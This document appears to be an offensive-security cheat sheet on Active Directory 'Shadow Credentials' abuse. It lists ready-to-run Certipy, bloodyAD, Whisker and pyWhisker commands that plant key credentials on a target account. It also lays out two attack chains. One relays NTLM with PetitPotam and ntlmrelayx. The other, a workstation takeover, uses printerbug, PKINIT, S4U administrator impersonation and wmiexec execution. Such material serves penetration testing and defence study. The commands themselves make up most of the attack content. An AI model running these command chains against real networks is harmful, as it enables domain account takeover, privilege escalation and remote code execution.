Password - Shadow Credentials

Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

:warning: User objects can’t edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Requirements:

• Domain Controller on (at least) Windows Server 2016
• Domain must have Active Directory Certificate Services and Certificate Authority configured
• PKINIT Kerberos authentication
• An account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object

Exploitation:

• ly4k/Certipy

  certipy shadow auto -account user -dc-ip 10.10.10.10 -dns-tcp -ns 10.10.10.10 -k -no-pass -target dc.domain.lab
  certipy shadow -u 'attacker@domain.local' -p 'Passw0rd!' -dc-ip '10.0.0.100' -account 'victim' add

• CravateRouge/bloodyAD:

  bloodyAD --host 10.10.10.10 -u username -p 'P@ssw0rd' -d domain.lab add shadowCredentials targetpc$
  bloodyAD --host 10.10.10.10 -u username -p 'P@ssw0rd' -d domain.lab remove shadowCredentials targetpc$ --key <key from previous output>

• eladshamir/Whisker:

  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  Whisker.exe list /target:computername$
  
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
  Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
  
  # Removes a key credential from the target object specified by a DeviceID GUID.
  Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b

• ShutdownRepo/pyWhisker:

  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
  
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
  
  # Removes a key credential from the target object specified by a DeviceID GUID.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"

Scenario

Shadow Credential Relaying

• Trigger an NTLM authentication from DC01 (PetitPotam)
• Relay it to DC02 (ntlmrelayx)
• Edit DC01’s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
• Alternatively : ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'

Workstation Takeover with RBCD

Requirements:

• Print Spooler service running
• WebClient service running

Exploitation:

• Using your C2, start a reverse socks on port 1080: socks 1080

• Enable port forward from port 8081 to 81 on the compromised machine:

  rportfwd 8081 127.0.0.1 81

• Start the relay:

  proxychains python3 ntlmrelayx.py -t ldaps://dc.domain.lab --shadow-credentials --shadow-target target\$ --http-port 81

• Trigger a callback on webdav:

  proxychains python3 printerbug.py domain.lab/user:password@target.domain.lab compromised@8081/file

• Use dirkjanm/PKINIT to get a TGT for the machine account:

  proxychains python3 gettgtpkinit.py domain.lab/target\$ target.ccache -cert-pfx </path/from/previous/command.pfx> -pfx-pass <pfx-pass>

• Elevate your privileges by creating a service ticket impersonating a local admin:

  proxychains python3 gets4uticket.py kerberos+ccache://domain.lab\\target\$:target.ccache@dc.domain.lab cifs/target.domain.lab@domain.lab administrator@domain.lab administrator_target.ccache -v

• Use your ticket:

  export KRB5CCNAME=/path/to/administrator_target.ccache
  proxychains python3 wmiexec.py -k -no-pass domain.lab/administrator@target.domain.lab

References

• Shadow Credentials: Workstation Takeover Edition - Matthew Creel - October 21, 2021
• Shadow Credentials - The Hacker Recipes
• Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - June 17, 2021